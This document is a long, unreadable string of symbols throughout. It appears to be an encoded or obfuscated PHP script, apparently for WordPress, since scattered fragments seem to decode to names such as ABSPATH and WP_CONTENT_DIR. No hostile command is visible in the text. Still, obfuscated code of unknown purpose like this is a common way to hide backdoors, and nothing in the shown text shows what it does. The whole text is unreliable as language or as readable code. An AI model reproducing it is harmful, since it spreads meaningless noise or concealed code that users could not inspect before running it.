]DML\YUUUUUQAG*U[UUR	RUUUUU[UCLG]DLE\]\YUUUMAL]DLD\\NUUUUUUUUUUUUUQADGDUHUUU *LMAEE]\NUUUUUUU]QADGDUUUTHHUUCLG]DLG\]DCLLEEFE]\\UUUUSSU5F]DAC\]QADGD\UUUSSUUU5CLG]DAB\]QADGD\\UUUUUUUUFLGEBGB L]QADGDUU[UUUUUUMAL]DMA\UUUU[UUQGEYUUQAG*YUUUURR\NUUUUUU]MAL]DMB\]CLG]CE\\UUUSSUUUU*F]DLF\]*F]DMM\\\UUQDFFUUUUHUU*]*F]DLA\YUUU]\\NUUUU]CLG]DCM\]QDFF\UUUSSUCLG]DL@\]E@CBLELCE]\YUUUQDFFYU \\UUU5 *]MAL]DLA\YUF]CC\]F]DLC\]QDFFYUUUUU]E@CBLELCE]\\\\\NUUUUUUUUC@FLMLFGL]*F]DLB\\NQBCDG*UHUDCLLEEFE]\UUUU[UUUU*F]DLM\NUUUUUUUU]F]DLF\]MAL]GF\\\U5F]DLL\]DCLLEEFE]\YUQBCDG*\NUUUUUUU]F]DLF\]F]GEE\\\U5*]DCLLEEFE]\YUU \NUUUUU5*]QBCDG*YUU \NUUUUUUUUUUU]]MAL]DLG\]QBCDG*\YU *LMAEE]\\UUQEBCM\UUUQFL@UUHU GD FB@B ]QEBCM\NUU]TF]DCM\]QFL@\\UUU NQD@FML@CHB@ANQLAC*H]QD@FML@CKE\JQD@FML@COXQD@FML@CNUUUUUUU]QFL@UUUUUUUQFE\UUUUUUUUUU]F]DGB\]QFEYUUUUX]D@XB\\UTHHUUUCLG]GED\\U NUUQ BGECUHUUQEBCMUU[UUURZRU[UUQFENUUUQABUUUHUU5CLG]GEG\]Q BGEC\NUUUUU]QABUUSSUUQABUIUCLG]GEF\]\UUUUUXUU]CEABCL^FD\\UUUUZZUUUUUUF* ]Q BGECYU]ADM^G\\NUE F]Q BGEC\NUUUUUUUUUUUUUU ]QEBCMYUUUQFL@YUUQFEYUQ BGECYUUUUQAB\NUUUUUUUUUUU]!UUUUQMEL\UUUUUUUUUUU]0UQMEL\UUUUUU UUUUUULFGFA]QEMEMYUUQCECBCF\UUUUUUUUUU]TCLG]DBM\]QEMEM\UU		UUUUUUQEMEMUUUUHHHUUWWUUU		UUUUTF]DBM\]QCECBCF\UUUU		UQCECBCFUUHHHUUUWW\UUU NUQBD EUUUHUUUCLG]GEA\]QEMEM\NUUU]T5CLG]GE@\]QBD E\UUUUUU		UUUUT5CLG]DAB\]QBD E\\U NUQ*A@LDUUUUHUUQBD EUUU[U*F]GEC\UUU[UUUMAL]GEB\]QEMEMYUUUU*F]DMF\\NQCB  D*BDGUHUU5MAL]GEM\]Q*A@LD\NU]MAL]GEL\]QCB  D*BDG\UUUUUSSUF]CL\]MAL]GDE\YUUUUUQCB  D*BDGYUUUQBD@LCLB\UUUSSUUU*]QBD@LCLB.E(YUUUUUQCECBCFYUUUUUU*F]GDD\\\U NUUUUUU]F]DLF\]MAL]GDG\\\UUU5MAL]GDG\]Q*A@LDYUUUQCECBCF\NUUUUUUU]!UUUUQD@D*G\UUUUUU]0UUQD@D*G\UUUUUUUUUUUUUUU UMMDDC]\UUUUUUUUUU]T*F]GDF\]*F]CE\\\UUZZU%&'XAUUUUU NUUUUUUUU]5*]CLG]GDA\YUE\\UQFC@HDGC	GACNQ EMEGHQFC@+FNUGEEF ]MAL]GD@\YUMAL]GDC\YUE\NUUUUUUU]TLBG@@LMCLAD]MAL]GDB\\\UUU NUUUUUUUQ G@UHUUF]DGB\]CLG]GDM\]47&%4!=UUU[UU]\UUUACCAG]\\YUUUUEYUUU]E@^EB\\NUUUQG@AGDUUUUHUUUUU]\UU5*]Q G@YUUUWW\NUUQFMAUUHUUUUMAL]GDL\NUUUUQDC@*BEUHUWWNUUUUUQG*DCUHUUU]M@F M@ L]\\NUUQ*@MBDFUUUUHUUMCCFB]\NUQBEMF@CMUHUUUUQ*@MBDFUUU[UUR	RUU[UUQG*DCNUUU]*F]LF\]QG@AGDYUUUR	R\UUTHHUUU\UUUUUQ@C UHUUF]GGE\]R	RYUQG@AGDYUUUUG\NQFMAUUUHUUUQ@C .E(NUUUUQDC@*BEUHUUUQ@C .D(NUUUUUUUUUUUUUUUQDC@*BEUUHUUQG@AGDNUUU]TQDC@*BE\UU5 *]Q G@YUUUQBEMF@CMYUUU*F]GGD\\NU NUUUUUUUU]QDC@*BEUHHHUUUQG*DC\UUUUUUUUU]QG@AGDUTHHUUQBEMF@CMUUUSSUUU*]Q*@MBDFYUQFMAYUUUF]GDD\\\UUUUUUU5 *]Q G@YUQBEMF@CMYUUUF]GGD\\NU NUUUUUUUUUUUUQM@MCDAUUUHUU]QDC@*BE\NUUUUUUUU]QM@MCDAUUUHHHUUUUUWWUUU		UU*F]GEB\]QM@MCDA\UUUTHHUUUUQM@MCDA\UUUU5 *]Q G@YUUUUQBEMF@CMYUF]GGD\\NUU NUUUUUUUUQLDLDAUUUUHUUU *LMAEE]\U[UUUURZRUU[UUUQM@MCDANUUQC@AUUUHUUUUWWNUUU]]MAL]C\\\UUUQC@AUHUUU"%*%9 2<;*1<'U[UUUUURZRU[UMAL]GGG\]QM@MCDAYU%4!=<;3:*3<90;480\U[UURZRUUU[UUUUQM@MCDANUUUUUUUUUUUUUUQFM MUUUUUHU5*F]DMG\]QLDLDA\NUUUQ FE*EUHUUUUUQFM MUUTHHUUUUUUSSUUUUQFM MUKHUUUU]EDGC^EDD\NUUUUUUQAUUHUUUQC@AUUJUUU5MAL]GGF\]QC@A\UOUUUNUUQ*ELUUUUHUQAUUUTHHUUUUUUUUSSUUQAUUUUUKHUU]FBFL^DGCD\NUUU]TQ FE*EUSSUUUTQ*EL\UUU5 *]Q G@YUQBEMF@CMYUUUUMAL]GGD\\NUUU NQM*H%=%*84?:'*#0'&<:;NQ@GHQM*_ANUUUUUQUHUUQ FE*EUUUUUUJUUUQLDLDAUUUUUOUUUUQC@ANQFAELBUUUUHUUU5CLG]GEM\]QYUUUYUU YUUEYU]ALDGXMDC\\NUUUUUUUUUUUU]MAL]GEL\]QFAELB\UUSSUUMAL]GGA\]CLG]GG@\YUUQFAELBYUUUUUQ*\\UUQFMAUUUHUQ*.D(NUUUUU]L*F]QYUU]CD@CXDD@C\\\UUUQFMAUUHUMAL]GDL\NUUUUUUU ]QFAELBYUUUUUQ*\NUQ***MUHUUQ FE*ENUU]TQ***MUUSSUUUUQ*EL\UUQBGFE@UUUHUU*F]GGG\]QM@MCDAYUU%4!=<;3:*3<90;480\UUUUU[UURZRUU[UUQM@MCDANQBMCBUUUHUU]\UUUU5*]MAL]GGC\YUU]\\NUUUUUUUUQ***MUUUUUHUU*F]DL@\]QBGFE@YUUUUUQBMCBYUU \NUUUU]TQ***MUSSUUUUMAL]GDF\]MAL]GGB\\UUSSUUUUU* ]\UUSSUUUCLG]GGM\]F]GGL\\\UUUQCMUHUUUU]\UU5**]CLG]GFE\YUUUU]\\NUUUUUQ***MUUHUUU]QCM.QBGFE@(\NUU ]QCM\NUUUUUUUUU ]QBGFE@YUQBMCB\NUUUUUUUUUUQBDFGUUHUUU*]Q*@MBDFYUUUUUQFMA\NUUUU]QBDFGUIHUUUE\UQDM*UUUUUUHUUUL*F]QYU]ALGB^BF\\NUQE*UUUUUHUU]\U5MAL]GGF\]Q\NUUUUUQFALGFLUUUUHUU]TQDM*U		UUUQE*UUUKU]BFGMF@EAXGEM@ABEA\\NUUUUUU]TQFALGFLUSSUQE*UKU]EGGM^EDEM\\UUUUUZZUUUUUQL DUHUUU5CLG]GFD\]QYUUYUU YUUEYUU]AEDC^ME\\NUUUUUUUU]T*F]GFG\]QL D\UUUUU		UUUTF]GGA\]*F]GFF\YUUQL D\\UUUQFALGFLUUHUU NUUUUUUUUUUUU]TQFALGFLUUSSUTB@G @BB]Q\\UQFALGFLUUHUUUU NUUUUUUU]TQFALGFL\UUUUUQCBUUUHUUMDMCA]\NUUU]T]QCB.*F]GFA\(\\UZZU%&'XD@UOUUUUQAALUUUUHUUUU5CLG]GF@\]QCB.MAL]GFA\(\NUUQA DA@EEMUUUUUHUUUUU5*F]GF@\]Q\NUUUU]F]GFG\]QAAL\USSUU*F]GFG\]QA DA@EEM\UUSSUUUUUUQAALUUHHHUUUQA DA@EEM\UUUUUUUQ*@UHUU DG B]QCB\NUUUUUUUU]Q*@UUUHHHUUMAL]GFC\U		UUUQ*@UUHHHUUUU*F]GFB\\UUQFALGFLUUUUUHUUU NUUUUU ]QAALYUUQA DA@EEMYUQ*@\NUZZUUXUU"%U2 U7UUU]TQFALGFLUUUUUUSSUUE@]Q\\UUQFALGFLUHUUU N ]QCB\NUUUUUUUU]QFALGFL\UUU]QDM*\UU*@D]Q\NU5 *]Q G@YUUUQBEMF@CMYUF]GGD\\N NUUUUUU]TQ***M\UUUUU5 *]Q G@YUUQBEMF@CMYU*F]GGD\\NU NUUUUUULFGFA]DCLLEEFE]\YUUQFMA\NUUUFF*]DCLLEEFE]\\NUU UUUUU NUUUUUU]]Q29:749&.MAL]GFM\(\\UUQ29:749&.F]GFM\(UUUUHUUUU NUU]L*F]QYUUU]ALLD^L\\\UU*@D]Q\NQDEUUHUUF]GEF\]\NUEEABB *FM]DCLLEEFE]\YUUU]QDEUUXUUUUUU]QDEUUUPUUUU]D@EMDDX@EMDD\\\UUU^UUACCAG]\\NUUU ]QDE\NUUUUUUUULFGFA]QLDLDAYUUUQ*@MBDF\NUUUUUUUUUU]QC@A\ULFGFA]QC@AYUUUQ*@MBDF\NGEEF ]MAL]GFL\YUUUUCLG]GAE\YUUE\N5 *]Q G@YUUUUQBEMF@CMYUUF]GGD\\NC@FLMLFGL]*F]GAD\\NUU]QC@AUTHHUUUUWWUUSSUUUMAL]GGM\]F]DMM\\\UUUUUUUQ @AB@ M@B@UUHUUUUUF]GGG\]QM@MCDAYU%4!=<;3:*3<90;480\UUUUUU[UUUURZRU[UUUUUQM@MCDANQBMCBUHUUU5*]MAL]GGC\YU]\\NQ*GAEH%=%*84?:'*#0'&<:;NQLBFMMHQ*GAE_DNUUUU]CLG]DCM\]QBMCB\UUSSUUMAL]DL@\]Q @AB@ M@B@YUUUQBMCBYUU \\UUUUU5 *]CLG]GGC\YUUUUF]CC\]MAL]DLC\]QBMCBYUU]Q @AB@ M@B@\\\\NU ]Q @AB@ M@B@YUQBMCB\NUUU NUUUUUUU]!UUQD@D*G\UUUUAAMGG*  ]F]GAG\YUQD@D*G\NUUUUUUUUU]0UUQD@D*G\UUUUUUUUUUU@FLGL]MAL]GDB\\NUUUU UU GD FB@B ]QBD E\UUU]*F]GGM\]F]GAF\\USSUUUCLG]GGM\]MAL]GAA\\\UUUQC *AFUHU5MAL]GA@\]QBD E\NUU]QC *AF\UUQABMHGFF	DDDNQEEEGG*HQABM+LFNUUQF*UUUUHUUUU]\NUU]]QD@D*GUUHUU5CLG]GAA\]QC *AF\\UUUTHHUU\UUUUUU]QD@D*GUUUTHHUR[RUUSSUQD@D*GUUTHHUF]GAC\\UUUUQF*.(UUUHUQD@D*GNUUUUUU]CLG]GAB\]F]GAM\\\UUUUU5*F]GAM\]QC *AF\NUUUUUU UUUUQF*NUUUUUUUUUUUUU]F]GAL\]CLG]G@E\\\UUUUQGDAL @BCUUUUUHU5F]G@E\]QBD E\NUUUU]*F]DCM\]QGDAL @BC\\UU UU*F]G@D\]*F]DLC\]QGDAL @BCYU]R[RYUUUUUCLG]GAC\\\\NUUUUUUUUU]*F]G@G\]CLG]G@F\\\UUUQMBMCMAFUUHU5*F]G@A\]QBD EU[UUUU*F]G@@\\NUUUUUUUUU]MAL]DCM\]QMBMCMAF\\U UMAL]G@C\]*F]G@B\YUQMBMCMAF\NUUUUUUU UU NUUUUUUU U@LE*B ]QAM@GE D\UUUUUUU]TMAL]G@M\]QAM@GE D\U		UMAL]LF\]QAM@GE DYUU*F]G@L\\UUHHHUUUU\U UUNQ ML @HLG_GNQ FCDDHQ ML @XMNUUUUUUUUUUUU]F]DE\]QAM@GE D\UUUUUKUU]DEAMALE^MC\\UUQAM@GE DUUHUUUUU*MB @AB]QAM@GE D\NUU]MAL]DE\]QAM@GE D\UUKUUUU]DLM@EMFXLFC@EB\\UU UUNUUUU]TCLG]G@G\]F]GCE\\\UUU UU NUUUUUU]T]*F]GCD\\\UUUUUUUUQM*FAUUHU5**]QAM@GE D\NUUUUUU]TMAL]DCM\]QM*FA\\UU UUUUUU NUUUUQMD*  E*UUHUUUENUUUUUUUUUU]QM*FAUUQG\UUUUUUUUUU]CLG]GCG\]QG\\UUUUUUU]QG.E(UUUUUHHHUU!*6 '9,*:%0;UU		UQG.E(UUUUUUHHHUUU!*1:994'*:%0;*6 '9,*7'460&\UQMD*  E*^^NUUUU NUUU]QGUUHHHUUUURR\UUQMD*  E*^^NUUUUUU]QGUUHHHUURR\UUUUUUUUUQMD*  E*XXNUUUUU]QMD*  E*UIUE\UU UUNUUUUUUUUU UUUQMD*  E*UUUHHHUUUENUUUU5**]QAM@GE DYUU!:>0;*%4'&0\NUUUU UUUUU NUUUUUUUU]!UUQD@D*G\UUUUU UUUUUNUUUUUUUUUUUUUU]0UQD@D*G\UUUU UUUNUUUUUUU UUUABDM]\UUUU UU]F]GCF\YUUUUU*F]GCA\YUUU*F]GC@\\NUUUUUUUUU UU* BEGAE]\UUUUUUUU UU]F]GCC\YUUMAL]GCB\YUMAL]GCM\YUUUUF]GCL\YUMAL]GBE\YUCLG]GBD\YUUMAL]GBG\YUU*F]GBF\YUUUCLG]GBA\YUCLG]GB@\YUUUMAL]GBC\YUUUUF]GBB\YU*F]GBM\YUUCLG]GBL\YUUCLG]GME\YUUUCLG]GMD\YUUCLG]GMG\YUCLG]GMF\YUUUU*F]GMA\YUUUUU*F]GM@\\NQ@*HLM^CBNQLFCHQ@*XGCNUUUUUUUUUU UUUULGCD]\UUUU U]MAL]GMC\YUUF]GMB\YUUUUF]GMM\YUU*F]GML\\NUUUUUUU U @*FFFC*]Q BB@*\UUUUUUU]MAL]GLE\]CLG]GLD\\\UUU UU]Q BB@*YUU]AD+FG\\NUU]MAL]GLG\]CLG]GLF\\\UUUUUU UUW)D)M)EM)EE)EE)EE)EE)EE)EE)EFWUUU[U]Q BB@*YU]@^A\\UUU[UUUUUF]GLA\]R#RYUUU*F]GL@\]Q BB@*\\UUUU[UUUUCLG]GLA\]R#RYUUF]DE\]Q BB@*\UUSUU]C@DM@MGBFLXGGGFCD@AAA\\NUUUU UUUQ BB@*NUUUUUUUUU UUGFCD]Q BB@*\UUUUU]T*F]GLC\]Q BB@*\UUUU		UCLG]GLB\]Q BB@*\UUIUUUG\UUU UQ BB@*NUU]F]DGB\]Q BB@*YUUUUEYUUUUG\UUUTHHUW)D)MW\UUUUU UUUQ BB@*NUUUUU]F]GLB\]Q BB@*\UUIUU]EF^E\\UUU UNUUUQG@A@M*UUHUU5F]GLM\]R#RYUUUUUU*F]DGB\]Q BB@*YUUUUX]D@L+D@@\\\NUUUUUQG@A@M*UUUUUHUUUCLG]GCG\]QG@A@M*\UJUQG@A@M*.D(UUOUENQDAGAB HAD	DEENQF@HQDAGAB +CGNUUUUU]QG@A@M*UUUIUUU]FGC^DBA\U		UUUUUUQG@A@M*UUUUKUUUU]EF^EDAEG\\U UUNUUUUUU]F]GLG\]MAL]GLL\\\UUQDAECFUHUU5]Q BB@*YUUU]@CAF@A^AMAGGG\\NUUUUUUUUUUUUU]QDAECFUUUTHHU\UUU UQDAECFNUUUUUUUUU]*F]FEE\]MAL]FED\\\UUUUUQDAECFUHU5]MAL]DGB\]Q BB@*YU]GGG+GDG\YUUUMAL]FEG\]Q BB@*\UXU]G^DC\\YU]DG@BMMFXGELFEB\\N UU]MAL]GLC\]QDAECF\UUUSSUUUUUMAL]FEF\]QDAECF\UUIHUUUUU]ECFM^ELDDM\\UJUUQDAECFUUUOUUUNUUUUUUUUUU UNUUUUUUUUU]TUUUUF]FEA\]*F]FE@\\\UUU UG]QMFLE\UUUUUUUU]TUUUUUUCLG]FEC\]QMFLE\UUUUU		UUUCLG]FEB\]QMFLE\UUUUPUUUUGUUTHHUUE\U UUUNUUUU UMAL]GLA\]MAL]FEM\YUUUUUUQMFLE\NUUUUUUUUU UUUD AC ]\UUUUUQ*LFUUUUUUHUUUUUU]\NUUQ BUUUUHUU]47&%4!=YU47&%4!=UUU[UU*F]FEL\YUUUU47&%4!=UU[UUF]FDE\\NUUUUUUUUU]]CLG]DAE\\\UUUQ B.(UHUU"%*6:;!0;!*1<'UUU[UURZRNUUUUUU]Q BUUUUUQDAECF\UUUUUQ*ECEUUHUUMAL]FEA\]F]G@A\\UUUUUJU5CLG]FDD\]QDAECFU[UUMAL]FDG\\UUOUUNUU]*F]GCG\]Q*ECE\\UUUUUUUU]Q*ECEUUUQGDB\UUUQDLAUUUHUU5CLG]GEG\]QGDB\NUUUU]QDLAUUUSSUUQDLAUUUKUU]LACCMABFE^BE\\UUUUUUQ*LF.(UUUHUQDLANUUUUUUUUZZU5UUUUU]T]Q*LF\\UUUQADCEUUHUUQ*LF.F]FDF\]Q*LF\(NU U]QADCEUXUUU]QADCEUUUUPUUUUUU]LLLD@^M@\\\UUU^UACCAG]\NUUUUUUUQCB DGUHUUUUCLG]FDA\]\UUUUUXUUU]]FEL^@C\UU_UUUUU]GF^D\UUUUU_UU]GEAB^D@@F\\NUQFUUUUHUUU*F]FEA\]*F]FD@\\UUUUJUUU*]EYU]ED^EF\UUU_UU]E^E\UUUU_UU]F@EF^LB\\UUUUOUMAL]FDC\]EYUUU]G@^@\UU_UU]A^GE\UUUUU_U]ACFGXDEFG\\NUUUQADCEUUHUQCB DGUUUUUXUUQFN UU]QADCEUUUUUXUUUUU]QADCEUPUUUUU]MAAMM^D@@DG\\\U^UUUACCAG]\NUUUUUU UUBBF*AC]QMDCYUQ@CYUQDBCFBAUUHUUUU \UUUUUUQBDALBGUHUUUU UUUUU]QD\U UUU]QDBCFBA\UUUUUUUUU]TF]FEC\]QD\UUU		UQDUUUHHHUUWW\U UUNUUUUU]*F]FDB\]QD\UKUUU]DCBAABMCXMF@CDBM\\U UUUNUU]QDBCFBA\UUUUUUUUU U]\UMAL]FDM\]QDBCFBAYUUUUQD\NUUUUUUUUUUUU]!UQD@D*G\UUUU UUNUUUUUUUU]0UUUUQD@D*G\UUUUUUU UUUUUNUUUUUUUUUUUUU UU NUUUUUUNUQUHUMAL]FEA\]MAL]FDL\\UUUUUJUUUUU5CLG]FGE\]QMDCYU]UUUUUCLG]FGD\UUHKUUQ@CYF]FGG\UHKUUYUUUUUUUUMAL]FGF\UUUUUHKU]EDMB^ECGBMGG\Y\\UUUOUNUUUUU]QUSSU]TF]FEA\]CLG]FGA\\UU		UUT**]Q\\\UUUUU]]\U****]Q\UUHHHUU]G@D+@D\\UUUUUUUQDMAE*UUHUU***]Q\NUUU]QBDALBG]QDMAE*\\UU UUUUQDMAE*NUUUUUUUUUUUUU]CLG]FEA\]MAL]FG@\\UUSSUUUUU*F]FEA\]F]FGC\\USSUCLG]FEA\]CLG]FGB\\\UUUUUQ BEEUUUHUU5*F]FG@\]QMDC\NUU]Q BEEUUHHHUUUUU\U UUUNU5CLG]FGC\]Q BEEYUUU]UUUU]CLG]FGM\\UUHKUU YU]CLG]FGL\\UHKUQ@CYUU]CLG]FFE\\UHKUUUYUUU]*F]FFD\\UHKUUUEYUUU]*F]FFG\\UUUHKUUYU]*F]FFF\\UUUUHKUU UUUUU]QGEEYUQ ABYUQB\UUU UUUUQBUKUU]MFMM@AG^CC\UJUUUUUUDUOUUUUUUENUUUUYU\\NUUUQAG@AUUHUU5MAL]FGB\]Q BEE\NUQED @D UUHUUUU5 *]Q BEE\NUUQCF*GMUHUU5 *]Q BEE\N5 *]Q BEE\NUUU]QED @D \U UUUUNU]]\UUQCF*GM.F]FFA\(UUHHHU]DD@^M@\UUUUUSSUQAG@AUUUUUTHHUUUUUSSUUQBDALBG]QAG@A\\UUUUU UUQAG@ANUZZU U UUNUU UDDBDLBMB]QMDCYUUUQ*EYUUUQLD YUUUUQ@CYUUQDBCFBAUUHU \UUUUQBDALBGUUUUHUU UUU]QD\UU UUU]QDBCFBA\UUUUUUU]TMAL]FEC\]QD\UUUUU		UQDUUUUUUHHHUUWW\UUUUU UNUUU]MAL]FDB\]QD\UUUUUKUUU]MFMM@LD^DB\\U UUNUUUUUU]QDBCFBA\UUUUUUUUUUUU U]\U*F]FF@\]QDBCFBAYUQD\NUUUUUUUUUU]!UUUUQD@D*G\UUUUU UNUUUUUU]0UUQD@D*G\U UNUUUUUU UUU NUNUUUQUUUUHUU*F]FEA\]MAL]FFC\\UJUU5*F]FFC\]QMDCYUU]UUUUUCLG]FFB\UHKUQ@CYUF]FFM\UUHKUYUF]FFL\UHKUUU]DECGGAFGXGGFFMGA\YCLG]FAE\UUHKUQLD YUUUCLG]FAD\UHKUQ*EYUUUU\\UOUUNUUUUUUU]CLG]FEA\]*F]FAG\\UUUSSU**]Q\\UUUUUUUU]Q\UUUUUQAM@GE DUUUUHU]\U****]Q\NQBEFUUUUHUUU***]Q\NUUUUUUQCAUUUHUUU***]Q\NUUQ F@ C UUUUHUUWWNUUUUUUU]F]FAF\]QCA\\UUZZU"%U%U6OU XUUUUUUUUUU]QCAUUUUUUQ *GM@CGD@UUUHKUQM*E\UUQ F@ C UUU[HUUQ *GM@CGD@UUUUUU[UUUMAL]FAA\UU[UUUUUQM*EUU[UF]FA@\NUUUUU]QAM@GE DUHHHU]LC^DEA\UUUSSUUQBDALBG]QBEF\\UUUU UQBEFNUUUUUUUUUUUUUUUUU]CLG]FEA\]F]FG@\\UUSSUUUF]FAC\]F]FGC\\UUUSSUUUU*F]FAC\]F]FGB\\\UUUQ BEEUUHU5*F]FG@\]QMDC\NUUUU]Q BEEUHHHU\UUU UUNZZU5 UXQDB*CUUUUHUU]\NUU]QLD UUUUUUUQ *GM@CGD@UUHKUQM*E\UUQDB*C.(UUUUUUHUQ *GM@CGD@UUU[UUUMAL]FAA\U[UUQM*ENUUU5MAL]FGC\]Q BEEYUU]]MAL]FAB\\UHKUUU YUUUUUU]F]FAM\\UHKUUUUUQ*EYUU]F]FGM\\UUHKUUUU YUU]MAL]FAL\\UHKUUQ@CYUUUUUU]F]FFE\\UUUUUUHKUUYUUUUUUU]CLG]FFD\\UHKUUUUUUEYU]MAL]F@E\\UUUUUHKUUUQDB*CY]*F]FFG\\UUUUHKUUUYUUUU]MAL]FFF\\UHKU U]QGEEYUUUUUUQ ABYUUUUQB\UUUUUUU UUUUUQBUUUKUU]BGFMMGC^DDALBMG\UUUUUJUUUUDUOUUUENUUUUUYUUUUUU\\NUQAG@AUUHU5MAL]FGB\]Q BEE\NUUUUQED @D UUHU5 *]Q BEE\NUUUQE*UUHUU5 *]Q BEE\NUUUUQCF*GMUUHUU5 *]Q BEE\NUQMBUUUUHUUUU]\UUUUUUQCF*GM.*F]FFA\(NU]QED @D \UUUUU5 *]Q BEE\NUU UUNUUUZZU8&$9UU OUUU5 *]Q BEE\NQ GHLFCCNQHQ GPMNUUUUUUU]QMBUUUHHHUU]EF^E@\UUUUUSSUUQAG@AUTHHUUUUUUUSSUUUUQBDALBG]QAG@A\\UUUUUUUUUU UUUQAG@ANUUUUUU]QAG@A\U UUNUUU UUNUUUUU UUBCMD@FD]\UUUUQ GLUUHUABDM]\NUUUUUUQAGF EUHU* BEGAE]\NUU]]Q GL\UU		U]QAGF E\\U U]\NUUUUUUUUUUUUUQLA *UHUUUCLG]FAC\]MAL]F@D\\UUJU]\U*]*F]F@G\YUWW\UOUWWNUU]QLA *UUUUTHHUWW\UUUZZU UUX QAGF EUHUUUUMAL]G@D\]CLG]DLC\]QAGF EYU]QLA *\\\NUUUUUCLG]F@F\]QAGF EYUUUUUQLA *\NUUUUUQMCDM*AUUUHUUUUU*F]F@A\]Q GL.MAL]F@@\]Q GL\(\NUUUU]QMCDM*AUUUHHHUUUUWW\UU UUUUU]\NUUUUUUUQ*EUUUHUUMAL]F@C\UUUU[UUQMCDM*AUU[UCLG]F@B\NUQLLUUHU]MAL]F@M\UUUUUHKUU*F]F@L\\NUQF  UHUUMAL]FCE\] \NUUUUU]QAGF EUUUUQ@C\UUUUUUUUUUU]]F]FCE\] \UUXUUUQF  \UKUU]A^AD\\UUNUUUUZZU'U XOUUUUUUUUUQ@CUHUF]FCD\]]\UUUUQ@C\NUUUUU]Q@CUHHHUWW\UUUUUU NUUUUUUQBEFUUHUUDDBDLBMB]Q@CYUUUUUQ*EYUUUQLLYUU]EA^ED\YUUUUUU UUUU]QD\UUUUUUQFG**UUUHUUUUU5F]FCG\]QDYU \NUUU UMAL]FAF\]QFG**\UUUUUUSSU]QFG**.MAL]FCF\(\NUUUU\NUUU]QBEFUUHHHU\UUUUUUU NQLG UUHUUU5CLG]FCG\]QBEFYUU \NUUUUUU]TUUUUF]FAF\]QLG \UUUUU		UTUU]QLG .CLG]FCA\(\UU		UUTUCLG]FEC\]QLG .CLG]FC@\(\\UUUUUU NUUUUQMFLEUUUHUQLG .MAL]FC@\(NUU]*F]FCC\]QMFLEYUUCLG]FCB\\UHHHUE\UUUZZUXU UU"%U&U0UQMFLEUUHUUU*F]DGB\]QMFLEYUUG\NUUUUUUUUUUUQEFUHUU5F]FE@\]QMFLE\NUUUUU]QEFUHHHUUUUUU		UUU*F]FDB\]QEF\UUUUUIUUUUU]DEMXAA\\UUUU NUUUUUUUUUUUQDLBDUUHUU]EFA^E\NUUQF@AUHUUUUCLG]FCM\]QEF.QDLBD(\NUUUQ* UUUHUUF]DGB\]QEFYUUQDLBDU^UUUDYUUQF@A\NUUU]TUUUU*F]FEC\]Q* \UU		U*F]FDB\]Q* \UUUUUIU]EG^ED\\UUUUU NUUUUUUUQ*UUUUUHUUUUUF]FCM\]Q* .E(\NU]Q*UUIUDUUU		UMAL]FDB\]Q* \UIUDU^UQ*U^UD\UUUU NUUUUQFDDMBUHUU*F]FCL\]Q* YUDYUQ*\NUQFE*UUHUUCLG]FBE\]Q* YUUUUUDUU^UQ*\NUUUUUUU]TU*F]FBD\]QFDDMB\UU		UUUTUUUF]FBD\]QFE*\\UUUUUUUU NUUQBMUUUHUUAEFBL*]QFE*YUQFDDMB\NUU]TUMAL]FBG\]QBM\UUU		UUCLG]FBF\]QBM\UUUIUUUG\UUUUUUAAMGG*  ]CLG]FBA\YUUUCLG]FB@\\N NUUUUQMC*MUUHUUCLG]FCM\]QBM.E(\NUUUU]QMC*MUUUUIUUDU		UUUUF]FBF\]QBM\UIUUUUDU^UUUUUQMC*M\UUUUAAMGG*  ]MAL]FBC\YUUUUUUCLG]FBB\\NUUUUUUU NUUUUUUUUQ LLBDFUHUUMAL]FBE\]QBMYUUDYUUQMC*M\NQCUHUUUUUF]FBM\]QBMYUUDUU^UQMC*M\NQ*AAL@@FUUUUHUUCLG]G@D\]F]FBL\]*F]G@C\]F]FME\YUF]FMD\]MAL]FMG\YUUUQC\\\\NUUU]MAL]FAC\]F]DMM\\\UUU *]MAL]F@G\YUUUQ@C\NUUU *]*F]FMF\YUUUUCLG]FMA\]W)WYUQ*AAL@@F\\NUUU UUU]*F]FM@\UHKUUUUUQ LLBDFYUUMAL]FMC\UUUUHKUUQ*AAL@@F\NUUUUUU]!UQD@D*G\UUUUQLAAFH%=%*84?:'*#0'&<:;NQ HQLAAF_FNUUUAAMGG*  ]F]FMB\YUQD@D*G\NUUUU NUUUUUUU]0UQD@D*G\UUUUZZU5UX  UUU NUUUUUUQFMFB*UUUHUF]FAC\]CLG]F@D\\UUUJU]\U*]MAL]FMF\YUWW\UUOUUWWNUUQ@UUUUHU GLAF F**]F]FMM\YUWW\NUUUUUUUUUUU]QFMFB*UUTHHUUUUWWUUSSUUUUMAL]FML\]Q@\UUSSUUUUUQ@UTHHUUWW\UUUUUUUQ*AAL@@FUHUUUUUMAL]FLE\]*F]FBL\]F]G@C\]CLG]FLD\YUUMAL]FMD\]MAL]FMG\YUUQFMFB*\\\\NQCMH]EAC^E@\NQ@*@HQCMPCNUUUU]TUUU]Q*AAL@@F\\UUUUUUUU UUUUU]CLG]FM@\UHKUUUUQ@YUUUMAL]FLG\UUHKUQ*AAL@@F\NQCFAMHMA^CCNQEGLEHQCFAMX@ENUUUUUUUUUUUAAMGG*  ]*F]FMB\YUUCLG]FLF\\NU U]\NU UUELBCGBBEL]QECMEDYUUUUQ  EDCEYUUUQGC*D\U]TUU*F]FLA\]F]FL@\\\UUUUU UUNUUUUQFUHUUUUF]FLC\]Q  EDCE\NUUUUUUQ*EGC UUUHUF]FLB\]CLG]FLM\]DYUU]ALDXGFC\\\NQE UUUUHUUUUWWNUUUUUUU]QE@MCG@UUUUHUEYUUUQGMGUHUUF]FBF\]QF\NUQE@MCG@UUUUIUUQGMGNUQE@MCG@^^\UUUUUUQE UUUU[HUMAL]FLB\]*F]FCM\]QF.QE@MCG@(\UUUU+UUUUMAL]FCM\]Q*EGC \\NUUUU UUUU *]QECMEDYUUCLG]FLL\]Q*EGC U[UUQE \YUUUUUQGC*D\UUUTHHUUUNUUUUUUUU UULEA*M A]QECMEDYUUQLG**\UUUUUU]TMAL]FLA\]MAL]AEE\\\UU UQLG**NUUUQLCDDUUUUUHU*]QECMEDYUUWW\NUUUUUU]QLCDDUUHHHUUUWWU		UUTUUUUUMAL]AED\]QLCDD\\UU UUUUQLG**NUUUUUQC GBUUUHUU5CLG]AEG\]QLCDDYUU \NUUUUUUUU]QC GBUHHHUUUUU		UF]FBF\]QC GB\UIUUG\UUUUUU UQLG**NUUUUUUQ*EGC UUUUUUHUUQC GB.E(NUQDMAUUUUUHUUWWNUUUUUU]QE@MCG@UHUUDYUUQGMGUHU*F